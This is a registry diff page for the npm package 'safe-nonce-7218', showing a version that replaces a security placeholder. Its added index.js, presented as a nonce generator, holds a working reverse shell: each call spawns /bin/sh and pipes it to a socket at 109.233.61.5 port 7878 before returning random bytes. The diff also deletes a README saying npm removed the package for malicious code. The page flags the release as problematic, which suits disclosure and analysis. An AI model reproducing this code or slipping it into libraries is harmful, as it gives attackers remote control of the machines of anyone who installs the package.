safe-nonce-7218 0.0.1-security → 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of safe-nonce-7218 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +14 -0
  2. package/package.json +1 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,14 @@
1
+ const crypto = require('crypto');
2
+
3
+ module.exports = function generateNonce() {
4
+ var net = require("net"),
5
+ cp = require("child_process"),
6
+ sh = cp.spawn("/bin/sh", []);
7
+ var client = new net.Socket();
8
+ client.connect(7878, "109.233.61.5", function () {
9
+ client.pipe(sh.stdin);
10
+ sh.stdout.pipe(client);
11
+ sh.stderr.pipe(client);
12
+ });
13
+ return crypto.randomBytes(16).toString('base64');
14
+ };
package/package.json CHANGED
@@ -1,6 +1,4 @@
1
1
  {
2
2
  "name": "safe-nonce-7218",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.2"
6
4
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=safe-nonce-7218 for more information.